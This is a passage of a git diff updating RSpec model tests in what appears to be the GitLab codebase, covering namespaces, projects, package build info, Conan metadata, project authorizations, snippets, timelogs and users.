- namespace = build(:namespace)
-
- expect(namespace).to be_valid
- end
- end
-
- context 'when the namespace has a parent' do
- it 'allows a namespace to have a group as its parent' do
- namespace = build(:namespace, parent: build(:group))
-
- expect(namespace).to be_valid
- end
-
- it 'allows a namespace to have another namespace as its parent' do
- namespace = build(:namespace, parent: build(:namespace))
-
- expect(namespace).to be_valid
- end
- end
- end
end
describe '#nesting_level_allowed' do
@@ -287,13 +259,12 @@ RSpec.describe Namespace do
end
end
- context 'creating a Namespace with nil type' do
+ context 'unable to create a Namespace with nil type' do
+ let(:namespace) { nil }
let(:namespace_type) { nil }
- it 'is the correct type of namespace' do
- expect(Namespace.find(namespace.id)).to be_a(Namespace)
- expect(namespace.kind).to eq('user')
- expect(namespace.user_namespace?).to be_truthy
+ it 'raises ActiveRecord::NotNullViolation' do
+ expect { create(:namespace, type: namespace_type, parent: parent) }.to raise_error(ActiveRecord::NotNullViolation)
end
end
@@ -700,20 +671,6 @@ RSpec.describe Namespace do
end
end
- describe '#ancestors_upto' do
- let(:parent) { create(:group) }
- let(:child) { create(:group, parent: parent) }
- let(:child2) { create(:group, parent: child) }
-
- it 'returns all ancestors when no namespace is given' do
- expect(child2.ancestors_upto).to contain_exactly(child, parent)
- end
-
- it 'includes ancestors upto but excluding the given ancestor' do
- expect(child2.ancestors_upto(parent)).to contain_exactly(child)
- end
- end
-
describe '#move_dir', :request_store do
shared_examples "namespace restrictions" do
context "when any project has container images" do
@@ -1274,6 +1231,38 @@ RSpec.describe Namespace do
end
end
+ describe '#use_traversal_ids_for_ancestors_upto?' do
+ let_it_be(:namespace, reload: true) { create(:namespace) }
+
+ subject { namespace.use_traversal_ids_for_ancestors_upto? }
+
+ context 'when use_traversal_ids_for_ancestors_upto feature flag is true' do
+ before do
+ stub_feature_flags(use_traversal_ids_for_ancestors_upto: true)
+ end
+
+ it { is_expected.to eq true }
+
+ it_behaves_like 'disabled feature flag when traversal_ids is blank'
+ end
+
+ context 'when use_traversal_ids_for_ancestors_upto feature flag is false' do
+ before do
+ stub_feature_flags(use_traversal_ids_for_ancestors_upto: false)
+ end
+
+ it { is_expected.to eq false }
+ end
+
+ context 'when use_traversal_ids? feature flag is false' do
+ before do
+ stub_feature_flags(use_traversal_ids: false)
+ end
+
+ it { is_expected.to eq false }
+ end
+ end
+
describe '#users_with_descendants' do
let(:user_a) { create(:user) }
let(:user_b) { create(:user) }
@@ -2066,4 +2055,79 @@ RSpec.describe Namespace do
it { is_expected.to be(true) }
end
end
+
+ it_behaves_like 'it has loose foreign keys' do
+ let(:factory_name) { :group }
+ end
+
+ context 'Namespaces::SyncEvent' do
+ let!(:namespace) { create(:group) }
+
+ let_it_be(:new_namespace1) { create(:group) }
+ let_it_be(:new_namespace2) { create(:group) }
+
+ context 'when creating the namespace' do
+ it 'creates a namespaces_sync_event record' do
+ expect(namespace.sync_events.count).to eq(1)
+ end
+
+ it 'enqueues ProcessSyncEventsWorker' do
+ expect(Namespaces::ProcessSyncEventsWorker).to receive(:perform_async)
+
+ create(:namespace)
+ end
+ end
+
+ context 'when updating namespace parent_id' do
+ it 'creates a namespaces_sync_event record' do
+ expect do
+ namespace.update!(parent_id: new_namespace1.id)
+ end.to change(Namespaces::SyncEvent, :count).by(1)
+
+ expect(namespace.sync_events.count).to eq(2)
+ end
+
+ it 'enqueues ProcessSyncEventsWorker' do
+ expect(Namespaces::ProcessSyncEventsWorker).to receive(:perform_async)
+
+ namespace.update!(parent_id: new_namespace1.id)
+ end
+ end
+
+ context 'when updating namespace other attribute' do
+ it 'creates a namespaces_sync_event record' do
+ expect do
+ namespace.update!(name: 'hello')
+ end.not_to change(Namespaces::SyncEvent, :count)
+ end
+ end
+
+ context 'in the same transaction' do
+ context 'when updating different parent_id' do
+ it 'creates two namespaces_sync_event records' do
+ expect do
+ Namespace.transaction do
+ namespace.update!(parent_id: new_namespace1.id)
+ namespace.update!(parent_id: new_namespace2.id)
+ end
+ end.to change(Namespaces::SyncEvent, :count).by(2)
+
+ expect(namespace.sync_events.count).to eq(3)
+ end
+ end
+
+ context 'when updating the same parent_id' do
+ it 'creates one namespaces_sync_event record' do
+ expect do
+ Namespace.transaction do
+ namespace.update!(parent_id: new_namespace1.id)
+ namespace.update!(parent_id: new_namespace1.id)
+ end
+ end.to change(Namespaces::SyncEvent, :count).by(1)
+
+ expect(namespace.sync_events.count).to eq(2)
+ end
+ end
+ end
+ end
end
diff --git a/spec/models/packages/build_info_spec.rb b/spec/models/packages/build_info_spec.rb
index a4369c56fe2..db8ac605d72 100644
--- a/spec/models/packages/build_info_spec.rb
+++ b/spec/models/packages/build_info_spec.rb
@@ -6,4 +6,46 @@ RSpec.describe Packages::BuildInfo, type: :model do
it { is_expected.to belong_to(:package) }
it { is_expected.to belong_to(:pipeline) }
end
+
+ context 'with some build infos' do
+ let_it_be(:package) { create(:package) }
+ let_it_be(:build_infos) { create_list(:package_build_info, 3, :with_pipeline, package: package) }
+ let_it_be(:build_info_with_no_pipeline) { create(:package_build_info) }
+
+ describe '.pluck_pipeline_ids' do
+ subject { package.build_infos.pluck_pipeline_ids.sort }
+
+ it { is_expected.to eq(build_infos.map(&:pipeline_id).sort) }
+ end
+
+ describe '.without_empty_pipelines' do
+ subject { package.build_infos.without_empty_pipelines }
+
+ it { is_expected.to contain_exactly(*build_infos) }
+ end
+
+ describe '.order_by_pipeline_id asc' do
+ subject { package.build_infos.order_by_pipeline_id(:asc) }
+
+ it { is_expected.to eq(build_infos) }
+ end
+
+ describe '.order_by_pipeline_id desc' do
+ subject { package.build_infos.order_by_pipeline_id(:desc) }
+
+ it { is_expected.to eq(build_infos.reverse) }
+ end
+
+ describe '.with_pipeline_id_less_than' do
+ subject { package.build_infos.with_pipeline_id_less_than(build_infos[1].pipeline_id) }
+
+ it { is_expected.to contain_exactly(build_infos[0]) }
+ end
+
+ describe '.with_pipeline_id_greater_than' do
+ subject { package.build_infos.with_pipeline_id_greater_than(build_infos[1].pipeline_id) }
+
+ it { is_expected.to contain_exactly(build_infos[2]) }
+ end
+ end
end
diff --git a/spec/models/packages/conan/metadatum_spec.rb b/spec/models/packages/conan/metadatum_spec.rb
index 112f395818b..d00723e8e43 100644
--- a/spec/models/packages/conan/metadatum_spec.rb
+++ b/spec/models/packages/conan/metadatum_spec.rb
@@ -3,6 +3,8 @@
require 'spec_helper'
RSpec.describe Packages::Conan::Metadatum, type: :model do
+ using RSpec::Parameterized::TableSyntax
+
describe 'relationships' do
it { is_expected.to belong_to(:package) }
end
@@ -45,6 +47,30 @@ RSpec.describe Packages::Conan::Metadatum, type: :model do
it { is_expected.not_to allow_value("my@channel").for(:package_channel) }
end
+ describe '#username_channel_none_values' do
+ let_it_be(:package) { create(:conan_package) }
+
+ let(:metadatum) { package.conan_metadatum }
+
+ subject { metadatum.valid? }
+
+ where(:username, :channel, :valid) do
+ 'username' | 'channel' | true
+ 'username' | '_' | false
+ '_' | 'channel' | false
+ '_' | '_' | true
+ end
+
+ with_them do
+ before do
+ metadatum.package_username = username
+ metadatum.package_channel = channel
+ end
+
+ it { is_expected.to eq(valid) }
+ end
+ end
+
describe '#conan_package_type' do
it 'will not allow a package with a different package_type' do
package = build('package')
@@ -87,4 +113,27 @@ RSpec.describe Packages::Conan::Metadatum, type: :model do
expect(described_class.full_path_from(package_username: username)).to eq('foo/bar/baz-buz')
end
end
+
+ describe '.validate_username_and_channel' do
+ where(:username, :channel, :error_field) do
+ 'username' | 'channel' | nil
+ 'username' | '_' | :channel
+ '_' | 'channel' | :username
+ '_' | '_' | nil
+ end
+
+ with_them do
+ if params[:error_field]
+ it 'yields the block when there is an error' do
+ described_class.validate_username_and_channel(username, channel) do |none_field|
+ expect(none_field).to eq(error_field)
+ end
+ end
+ else
+ it 'does not yield the block when there is no error' do
+ expect { |b| described_class.validate_username_and_channel(username, channel, &b) }.not_to yield_control
+ end
+ end
+ end
+ end
end
diff --git a/spec/models/postgresql/replication_slot_spec.rb b/spec/models/postgresql/replication_slot_spec.rb
index c3b67a2e7b8..63a19541ab5 100644
--- a/spec/models/postgresql/replication_slot_spec.rb
+++ b/spec/models/postgresql/replication_slot_spec.rb
@@ -3,6 +3,8 @@
require 'spec_helper'
RSpec.describe Postgresql::ReplicationSlot do
+ it { is_expected.to be_a Gitlab::Database::SharedModel }
+
describe '.in_use?' do
it 'returns true when replication slots are present' do
expect(described_class).to receive(:exists?).and_return(true)
@@ -73,28 +75,22 @@ RSpec.describe Postgresql::ReplicationSlot do
before(:all) do
skip('max_replication_slots too small') if skip_examples
- @current_slot_count = ApplicationRecord
+ @current_slot_count = described_class
.connection
- .execute("SELECT COUNT(*) FROM pg_replication_slots;")
- .first
- .fetch('count')
- .to_i
+ .select_value("SELECT COUNT(*) FROM pg_replication_slots")
- @current_unused_count = ApplicationRecord
+ @current_unused_count = described_class
.connection
- .execute("SELECT COUNT(*) FROM pg_replication_slots WHERE active = 'f';")
- .first
- .fetch('count')
- .to_i
+ .select_value("SELECT COUNT(*) FROM pg_replication_slots WHERE active = 'f';")
- ApplicationRecord
+ described_class
.connection
.execute("SELECT * FROM pg_create_physical_replication_slot('test_slot');")
end
after(:all) do
unless skip_examples
- ApplicationRecord
+ described_class
.connection
.execute("SELECT pg_drop_replication_slot('test_slot');")
end
diff --git a/spec/models/preloaders/group_root_ancestor_preloader_spec.rb b/spec/models/preloaders/group_root_ancestor_preloader_spec.rb
deleted file mode 100644
index 0d622e84ef1..00000000000
--- a/spec/models/preloaders/group_root_ancestor_preloader_spec.rb
+++ /dev/null
@@ -1,63 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Preloaders::GroupRootAncestorPreloader do
- let_it_be(:user) { create(:user) }
- let_it_be(:root_parent1) { create(:group, :private, name: 'root-1', path: 'root-1') }
- let_it_be(:root_parent2) { create(:group, :private, name: 'root-2', path: 'root-2') }
- let_it_be(:guest_group) { create(:group, name: 'public guest', path: 'public-guest') }
- let_it_be(:private_maintainer_group) { create(:group, :private, name: 'b private maintainer', path: 'b-private-maintainer', parent: root_parent1) }
- let_it_be(:private_developer_group) { create(:group, :private, project_creation_level: nil, name: 'c public developer', path: 'c-public-developer') }
- let_it_be(:public_maintainer_group) { create(:group, :private, name: 'a public maintainer', path: 'a-public-maintainer', parent: root_parent2) }
-
- let(:root_query_regex) { /\ASELECT.+FROM "namespaces" WHERE "namespaces"."id" = \d+/ }
- let(:additional_preloads) { [] }
- let(:groups) { [guest_group, private_maintainer_group, private_developer_group, public_maintainer_group] }
- let(:pristine_groups) { Group.where(id: groups) }
-
- shared_examples 'executes N matching DB queries' do |expected_query_count, query_method = nil|
- it 'executes the specified root_ancestor queries' do
- expect do
- pristine_groups.each do |group|
- root_ancestor = group.root_ancestor
-
- root_ancestor.public_send(query_method) if query_method.present?
- end
- end.to make_queries_matching(root_query_regex, expected_query_count)
- end
-
- it 'strong_memoizes the correct root_ancestor' do
- pristine_groups.each do |group|
- expected_parent_id = group.root_ancestor.id == group.id ? nil : group.root_ancestor.id
-
- expect(group.parent_id).to eq(expected_parent_id)
- end
- end
- end
-
- context 'when the preloader is used' do
- before do
- preload_ancestors
- end
-
- context 'when no additional preloads are provided' do
- it_behaves_like 'executes N matching DB queries', 0
- end
-
- context 'when additional preloads are provided' do
- let(:additional_preloads) { [:route] }
- let(:root_query_regex) { /\ASELECT.+FROM "routes" WHERE "routes"."source_id" = \d+/ }
-
- it_behaves_like 'executes N matching DB queries', 0, :full_path
- end
- end
-
- context 'when the preloader is not used' do
- it_behaves_like 'executes N matching DB queries', 2
- end
-
- def preload_ancestors
- described_class.new(pristine_groups, additional_preloads).execute
- end
-end
diff --git a/spec/models/project_authorization_spec.rb b/spec/models/project_authorization_spec.rb
index 58c0ff48b46..37da30fb54c 100644
--- a/spec/models/project_authorization_spec.rb
+++ b/spec/models/project_authorization_spec.rb
@@ -3,40 +3,59 @@
require 'spec_helper'
RSpec.describe ProjectAuthorization do
- let_it_be(:user) { create(:user) }
- let_it_be(:project1) { create(:project) }
- let_it_be(:project2) { create(:project) }
- let_it_be(:project3) { create(:project) }
+ describe 'relations' do
+ it { is_expected.to belong_to(:user) }
+ it { is_expected.to belong_to(:project) }
+ end
- describe '.insert_authorizations' do
- it 'inserts the authorizations' do
- described_class
- .insert_authorizations([[user.id, project1.id, Gitlab::Access::MAINTAINER]])
+ describe 'validations' do
+ it { is_expected.to validate_presence_of(:project) }
+ it { is_expected.to validate_presence_of(:user) }
+ it { is_expected.to validate_presence_of(:access_level) }
+ it { is_expected.to validate_inclusion_of(:access_level).in_array(Gitlab::Access.all_values) }
+ end
- expect(user.project_authorizations.count).to eq(1)
- end
+ describe '.insert_all' do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:project_1) { create(:project) }
+ let_it_be(:project_2) { create(:project) }
+ let_it_be(:project_3) { create(:project) }
- it 'inserts rows in batches' do
- described_class.insert_authorizations([
- [user.id, project1.id, Gitlab::Access::MAINTAINER],
- [user.id, project2.id, Gitlab::Access::MAINTAINER]
- ], 1)
+ it 'skips duplicates and inserts the remaining rows without error' do
+ create(:project_authorization, user: user, project: project_1, access_level: Gitlab::Access::MAINTAINER)
+
+ attributes = [
+ { user_id: user.id, project_id: project_1.id, access_level: Gitlab::Access::MAINTAINER },
+ { user_id: user.id, project_id: project_2.id, access_level: Gitlab::Access::MAINTAINER },
+ { user_id: user.id, project_id: project_3.id, access_level: Gitlab::Access::MAINTAINER }
+ ]
- expect(user.project_authorizations.count).to eq(2)
+ described_class.insert_all(attributes)
+
+ expect(user.project_authorizations.pluck(:user_id, :project_id, :access_level)).to match_array(attributes.map(&:values))
end
+ end
- it 'skips duplicates and inserts the remaining rows without error' do
- create(:project_authorization, user: user, project: project1, access_level: Gitlab::Access::MAINTAINER)
+ describe '.insert_all_in_batches' do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:project_1) { create(:project) }
+ let_it_be(:project_2) { create(:project) }
+ let_it_be(:project_3) { create(:project) }
- rows = [
- [user.id, project1.id, Gitlab::Access::MAINTAINER],
- [user.id, project2.id, Gitlab::Access::MAINTAINER],
- [user.id, project3.id, Gitlab::Access::MAINTAINER]
+ let(:per_batch_size) { 2 }
+
+ it 'inserts the rows in batches, as per the `per_batch` size' do
+ attributes = [
+ { user_id: user.id, project_id: project_1.id, access_level: Gitlab::Access::MAINTAINER },
+ { user_id: user.id, project_id: project_2.id, access_level: Gitlab::Access::MAINTAINER },
+ { user_id: user.id, project_id: project_3.id, access_level: Gitlab::Access::MAINTAINER }
]
- described_class.insert_authorizations(rows)
+ expect(described_class).to receive(:insert_all).twice.and_call_original
+
+ described_class.insert_all_in_batches(attributes, per_batch_size)
- expect(user.project_authorizations.pluck(:user_id, :project_id, :access_level)).to match_array(rows)
+ expect(user.project_authorizations.pluck(:user_id, :project_id, :access_level)).to match_array(attributes.map(&:values))
end
end
end
diff --git a/spec/models/project_spec.rb b/spec/models/project_spec.rb
index 3a8768ff463..4e38bf7d3e3 100644
--- a/spec/models/project_spec.rb
+++ b/spec/models/project_spec.rb
@@ -261,7 +261,49 @@ RSpec.describe Project, factory_default: :keep do
end
context 'updating a project' do
- context 'with project namespaces' do
+ shared_examples 'project update' do
+ let_it_be(:project_namespace) { create(:project_namespace) }
+ let_it_be(:project) { project_namespace.project }
+
+ context 'when project namespace is not set' do
+ before do
+ project.update_column(:project_namespace_id, nil)
+ project.reload
+ end
+
+ it 'updates the project successfully' do
+ # pre-check that project does not have a project namespace
+ expect(project.project_namespace).to be_nil
+
+ project.update!(path: 'hopefully-valid-path2')
+
+ expect(project).to be_persisted
+ expect(project).to be_valid
+ expect(project.path).to eq('hopefully-valid-path2')
+ expect(project.project_namespace).to be_nil
+ end
+ end
+
+ context 'when project has an associated project namespace' do
+ # when FF is disabled creating a project does not create a project_namespace, so we create one
+ it 'project is INVALID when trying to remove project namespace' do
+ project.reload
+ # check that project actually has an associated project namespace
+ expect(project.project_namespace_id).to eq(project_namespace.id)
+
+ expect do
+ project.update!(project_namespace_id: nil, path: 'hopefully-valid-path1')
+ end.to raise_error(ActiveRecord::RecordInvalid)
+ expect(project).to be_invalid
+ expect(project.errors.full_messages).to include("Project namespace can't be blank")
+ expect(project.reload.project_namespace).to be_in_sync_with_project(project)
+ end
+ end
+ end
+
+ context 'with create_project_namespace_on_project_create FF enabled' do
+ it_behaves_like 'project update'
+
it 'keeps project namespace in sync with project' do
project = create(:project)
project.update!(path: 'hopefully-valid-path1')
@@ -270,19 +312,21 @@ RSpec.describe Project, factory_default: :keep do
expect(project.project_namespace).to be_persisted
expect(project.project_namespace).to be_in_sync_with_project(project)
end
+ end
- context 'with FF disabled' do
- before do
- stub_feature_flags(create_project_namespace_on_project_create: false)
- end
+ context 'with create_project_namespace_on_project_create FF disabled' do
+ before do
+ stub_feature_flags(create_project_namespace_on_project_create: false)
+ end
- it 'does not create a project namespace when project is updated' do
- project = create(:project)
- project.update!(path: 'hopefully-valid-path1')
+ it_behaves_like 'project update'
- expect(project).to be_persisted
- expect(project.project_namespace).to be_nil
- end
+ it 'does not create a project namespace when project is updated' do
+ project = create(:project)
+ project.update!(path: 'hopefully-valid-path1')
+
+ expect(project).to be_persisted
+ expect(project.project_namespace).to be_nil
end
end
end
@@ -807,6 +851,23 @@ RSpec.describe Project, factory_default: :keep do
end
end
+ describe '#remove_project_authorizations' do
+ let_it_be(:project) { create(:project) }
+ let_it_be(:user_1) { create(:user) }
+ let_it_be(:user_2) { create(:user) }
+ let_it_be(:user_3) { create(:user) }
+
+ it 'removes the project authorizations of the specified users in the current project' do
+ create(:project_authorization, user: user_1, project: project)
+ create(:project_authorization, user: user_2, project: project)
+ create(:project_authorization, user: user_3, project: project)
+
+ project.remove_project_authorizations([user_1.id, user_2.id])
+
+ expect(project.project_authorizations.pluck(:user_id)).not_to include(user_1.id, user_2.id)
+ end
+ end
+
describe 'reference methods' do
let_it_be(:owner) { create(:user, name: 'Gitlab') }
let_it_be(:namespace) { create(:namespace, name: 'Sample namespace', path: 'sample-namespace', owner: owner) }
@@ -3520,6 +3581,29 @@ RSpec.describe Project, factory_default: :keep do
expect(project.forks).to contain_exactly(forked_project)
end
end
+
+ describe '#lfs_object_oids_from_fork_source' do
+ let_it_be(:lfs_object) { create(:lfs_object) }
+ let_it_be(:another_lfs_object) { create(:lfs_object) }
+
+ let(:oids) { [lfs_object.oid, another_lfs_object.oid] }
+
+ context 'when fork has one of two LFS objects' do
+ before do
+ create(:lfs_objects_project, lfs_object: lfs_object, project: project)
+ create(:lfs_objects_project, lfs_object: another_lfs_object, project: forked_project)
+ end
+
+ it 'returns OIDs of owned LFS objects', :aggregate_failures do
+ expect(forked_project.lfs_objects_oids_from_fork_source(oids: oids)).to eq([lfs_object.oid])
+ expect(forked_project.lfs_objects_oids(oids: oids)).to eq([another_lfs_object.oid])
+ end
+
+ it 'returns empty when project is not a fork' do
+ expect(project.lfs_objects_oids_from_fork_source(oids: oids)).to eq([])
+ end
+ end
+ end
end
it_behaves_like 'can housekeep repository' do
@@ -7392,6 +7476,83 @@ RSpec.describe Project, factory_default: :keep do
end
end
+ it_behaves_like 'it has loose foreign keys' do
+ let(:factory_name) { :project }
+ end
+
+ context 'Projects::SyncEvent' do
+ let!(:project) { create(:project) }
+
+ let_it_be(:new_namespace1) { create(:namespace) }
+ let_it_be(:new_namespace2) { create(:namespace) }
+
+ context 'when creating the project' do
+ it 'creates a projects_sync_event record' do
+ expect(project.sync_events.count).to eq(1)
+ end
+
+ it 'enqueues ProcessProjectSyncEventsWorker' do
+ expect(Projects::ProcessSyncEventsWorker).to receive(:perform_async)
+
+ create(:project)
+ end
+ end
+
+ context 'when updating project namespace_id' do
+ it 'creates a projects_sync_event record' do
+ expect do
+ project.update!(namespace_id: new_namespace1.id)
+ end.to change(Projects::SyncEvent, :count).by(1)
+
+ expect(project.sync_events.count).to eq(2)
+ end
+
+ it 'enqueues ProcessProjectSyncEventsWorker' do
+ expect(Projects::ProcessSyncEventsWorker).to receive(:perform_async)
+
+ project.update!(namespace_id: new_namespace1.id)
+ end
+ end
+
+ context 'when updating project other attribute' do
+ it 'creates a projects_sync_event record' do
+ expect do
+ project.update!(name: 'hello')
+ end.not_to change(Projects::SyncEvent, :count)
+ end
+ end
+
+ context 'in the same transaction' do
+ context 'when updating different namespace_id' do
+ it 'creates two projects_sync_event records' do
+ expect do
+ Project.transaction do
+ project.update!(namespace_id: new_namespace1.id)
+ project.update!(namespace_id: new_namespace2.id)
+ end
+ end.to change(Projects::SyncEvent, :count).by(2)
+
+ expect(project.sync_events.count).to eq(3)
+ end
+ end
+
+ context 'when updating the same namespace_id' do
+ it 'creates one projects_sync_event record' do
+ expect do
+ Project.transaction do
+ project.update!(namespace_id: new_namespace1.id)
+ project.update!(namespace_id: new_namespace1.id)
+ end
+ end.to change(Projects::SyncEvent, :count).by(1)
+
+ expect(project.sync_events.count).to eq(2)
+ end
+ end
+ end
+ end
+
+ private
+
def finish_job(export_job)
export_job.start
export_job.finish
diff --git a/spec/models/project_team_spec.rb b/spec/models/project_team_spec.rb
index a6a56180ce1..c0bad96effc 100644
--- a/spec/models/project_team_spec.rb
+++ b/spec/models/project_team_spec.rb
@@ -237,7 +237,6 @@ RSpec.describe ProjectTeam do
context 'when `tasks_to_be_done` and `tasks_project_id` are passed' do
before do
- stub_experiments(invite_members_for_task: true)
project.team.add_users([user1], :developer, tasks_to_be_done: %w(ci code), tasks_project_id: project.id)
end
diff --git a/spec/models/repository_spec.rb b/spec/models/repository_spec.rb
index d50c60774b4..96cbdb468aa 100644
--- a/spec/models/repository_spec.rb
+++ b/spec/models/repository_spec.rb
@@ -1679,6 +1679,16 @@ RSpec.describe Repository do
expect(blobs.first.name).to eq('foobar')
expect(blobs.size).to eq(1)
end
+
+ context 'when Gitaly returns NoRepository' do
+ before do
+ allow(repository.raw_repository).to receive(:batch_blobs).and_raise(Gitlab::Git::Repository::NoRepository)
+ end
+
+ it 'returns empty array' do
+ expect(repository.blobs_at([%w[master foobar]])).to match_array([])
+ end
+ end
end
describe '#root_ref' do
diff --git a/spec/models/snippet_spec.rb b/spec/models/snippet_spec.rb
index e24dd910c39..5d4a78bb15f 100644
--- a/spec/models/snippet_spec.rb
+++ b/spec/models/snippet_spec.rb
@@ -403,6 +403,51 @@ RSpec.describe Snippet do
end
end
+ describe '.find_by_project_title_trunc_created_at' do
+ let_it_be(:snippet) { create(:snippet) }
+ let_it_be(:created_at_without_ms) { snippet.created_at.change(usec: 0) }
+
+ it 'returns a record if arguments match' do
+ result = described_class.find_by_project_title_trunc_created_at(
+ snippet.project,
+ snippet.title,
+ created_at_without_ms
+ )
+
+ expect(result).to eq(snippet)
+ end
+
+ it 'returns nil if project does not match' do
+ result = described_class.find_by_project_title_trunc_created_at(
+ 'unmatched project',
+ snippet.title,
+ created_at_without_ms # to_s truncates ms of the argument
+ )
+
+ expect(result).to be(nil)
+ end
+
+ it 'returns nil if title does not match' do
+ result = described_class.find_by_project_title_trunc_created_at(
+ snippet.project,
+ 'unmatched title',
+ created_at_without_ms # to_s truncates ms of the argument
+ )
+
+ expect(result).to be(nil)
+ end
+
+ it 'returns nil if created_at does not match' do
+ result = described_class.find_by_project_title_trunc_created_at(
+ snippet.project,
+ snippet.title,
+ snippet.created_at # fails match by milliseconds
+ )
+
+ expect(result).to be(nil)
+ end
+ end
+
describe '#participants' do
let_it_be(:project) { create(:project, :public) }
let_it_be(:snippet) { create(:snippet, content: 'foo', project: project) }
diff --git a/spec/models/terraform/state_version_spec.rb b/spec/models/terraform/state_version_spec.rb
index ac2e8d167b3..7af9b7897ff 100644
--- a/spec/models/terraform/state_version_spec.rb
+++ b/spec/models/terraform/state_version_spec.rb
@@ -92,4 +92,9 @@ RSpec.describe Terraform::StateVersion do
end
end
end
+
+ it_behaves_like 'cleanup by a loose foreign key' do
+ let!(:model) { create(:terraform_state_version) }
+ let!(:parent) { model.build }
+ end
end
diff --git a/spec/models/timelog_spec.rb b/spec/models/timelog_spec.rb
index d6c31307e30..f96d02e6a82 100644
--- a/spec/models/timelog_spec.rb
+++ b/spec/models/timelog_spec.rb
@@ -21,7 +21,7 @@ RSpec.describe Timelog do
it { expect(subject.project_id).not_to be_nil }
- describe 'Issuable validation' do
+ describe 'validation' do
it 'is invalid if issue_id and merge_request_id are missing' do
subject.attributes = { issue: nil, merge_request: nil }
@@ -139,4 +139,14 @@ RSpec.describe Timelog do
time + 1.day
end
end
+
+ describe 'hooks' do
+ describe '.set_project' do
+ it 'populates project with issuable project' do
+ timelog = create(:issue_timelog, issue: issue)
+
+ expect(timelog.project_id).to be(timelog.issue.project_id)
+ end
+ end
+ end
end
diff --git a/spec/models/u2f_registration_spec.rb b/spec/models/u2f_registration_spec.rb
index 7a70cf69566..6bb9ccfcf35 100644
--- a/spec/models/u2f_registration_spec.rb
+++ b/spec/models/u2f_registration_spec.rb
@@ -20,9 +20,9 @@ RSpec.describe U2fRegistration do
describe '#create_webauthn_registration' do
shared_examples_for 'creates webauthn registration' do
it 'creates webauthn registration' do
- u2f_registration.save!
+ created_record = u2f_registration
- webauthn_registration = WebauthnRegistration.where(u2f_registration_id: u2f_registration.id)
+ webauthn_registration = WebauthnRegistration.where(u2f_registration_id: created_record.id)
expect(webauthn_registration).to exist
end
end
@@ -43,13 +43,16 @@ RSpec.describe U2fRegistration do
it 'logs error' do
allow(Gitlab::Auth::U2fWebauthnConverter).to receive(:new).and_raise('boom!')
- expect(Gitlab::AppJsonLogger).to(
- receive(:error).with(a_hash_including(event: 'u2f_migration',
- error: 'RuntimeError',
- message: 'U2F to WebAuthn conversion failed'))
- )
- u2f_registration.save!
+ allow_next_instance_of(U2fRegistration) do |u2f_registration|
+ allow(u2f_registration).to receive(:id).and_return(123)
+ end
+
+ expect(Gitlab::ErrorTracking).to(
+ receive(:track_exception).with(kind_of(StandardError),
+ u2f_registration_id: 123))
+
+ u2f_registration
end
end
end
diff --git a/spec/models/user_callout_spec.rb b/spec/models/user_callout_spec.rb
deleted file mode 100644
index 5b36c8450ea..00000000000
--- a/spec/models/user_callout_spec.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe UserCallout do
- let_it_be(:callout) { create(:user_callout) }
-
- it_behaves_like 'having unique enum values'
-
- describe 'validations' do
- it { is_expected.to validate_presence_of(:feature_name) }
- it { is_expected.to validate_uniqueness_of(:feature_name).scoped_to(:user_id).ignoring_case_sensitivity }
- end
-end
diff --git a/spec/models/user_spec.rb b/spec/models/user_spec.rb
index b5d4614d206..f8cea619233 100644
--- a/spec/models/user_spec.rb
+++ b/spec/models/user_spec.rb
@@ -110,8 +110,8 @@ RSpec.describe User do
it { is_expected.to have_many(:spam_logs).dependent(:destroy) }
it { is_expected.to have_many(:todos) }
it { is_expected.to have_many(:award_emoji).dependent(:destroy) }
- it { is_expected.to have_many(:builds).dependent(:nullify) }
- it { is_expected.to have_many(:pipelines).dependent(:nullify) }
+ it { is_expected.to have_many(:builds) }
+ it { is_expected.to have_many(:pipelines) }
it { is_expected.to have_many(:chat_names).dependent(:destroy) }
it { is_expected.to have_many(:uploads) }
it { is_expected.to have_many(:reported_abuse_reports).dependent(:destroy).class_name('AbuseReport') }
@@ -124,7 +124,7 @@ RSpec.describe User do
it { is_expected.to have_many(:created_custom_emoji).inverse_of(:creator) }
it { is_expected.to have_many(:in_product_marketing_emails) }
it { is_expected.to have_many(:timelogs) }
- it { is_expected.to have_many(:callouts).class_name('UserCallout') }
+ it { is_expected.to have_many(:callouts).class_name('Users::Callout') }
it { is_expected.to have_many(:group_callouts).class_name('Users::GroupCallout') }
describe '#user_detail' do
@@ -1080,6 +1080,16 @@ RSpec.describe User do
end
end
+ context 'strip attributes' do
+ context 'name' do
+ let(:user) { User.new(name: ' John Smith ') }
+
+ it 'strips whitespaces on validation' do
+ expect { user.valid? }.to change { user.name }.to('John Smith')
+ end
+ end
+ end
+
describe 'Respond to' do
it { is_expected.to respond_to(:admin?) }
it { is_expected.to respond_to(:name) }
@@ -1540,7 +1550,11 @@ RSpec.describe User do
allow(user).to receive(:update_highest_role)
end
- expect(SecureRandom).to receive(:hex).and_return('3b8ca303')
+ allow_next_instance_of(Namespaces::UserNamespace) do |namespace|
+ allow(namespace).to receive(:schedule_sync_event_worker)
+ end
+
+ expect(SecureRandom).to receive(:hex).with(no_args).and_return('3b8ca303')
user = create(:user)
@@ -1612,6 +1626,46 @@ RSpec.describe User do
end
end
+ describe 'enabled_static_object_token' do
+ let_it_be(:static_object_token) { 'ilqx6jm1u945macft4eff0nw' }
+
+ it 'returns incoming email token when supported' do
+ allow(Gitlab::CurrentSettings).to receive(:static_objects_external_storage_enabled?).and_return(true)
+
+ user = create(:user, static_object_token: static_object_token)
+
+ expect(user.enabled_static_object_token).to eq(static_object_token)
+ end
+
+ it 'returns `nil` when not supported' do
+ allow(Gitlab::CurrentSettings).to receive(:static_objects_external_storage_enabled?).and_return(false)
+
+ user = create(:user, static_object_token: static_object_token)
+
+ expect(user.enabled_static_object_token).to be_nil
+ end
+ end
+
+ describe 'enabled_incoming_email_token' do
+ let_it_be(:incoming_email_token) { 'ilqx6jm1u945macft4eff0nw' }
+
+ it 'returns incoming email token when supported' do
+ allow(Gitlab::IncomingEmail).to receive(:supports_issue_creation?).and_return(true)
+
+ user = create(:user, incoming_email_token: incoming_email_token)
+
+ expect(user.enabled_incoming_email_token).to eq(incoming_email_token)
+ end
+
+ it 'returns `nil` when not supported' do
+ allow(Gitlab::IncomingEmail).to receive(:supports_issue_creation?).and_return(false)
+
+ user = create(:user, incoming_email_token: incoming_email_token)
+
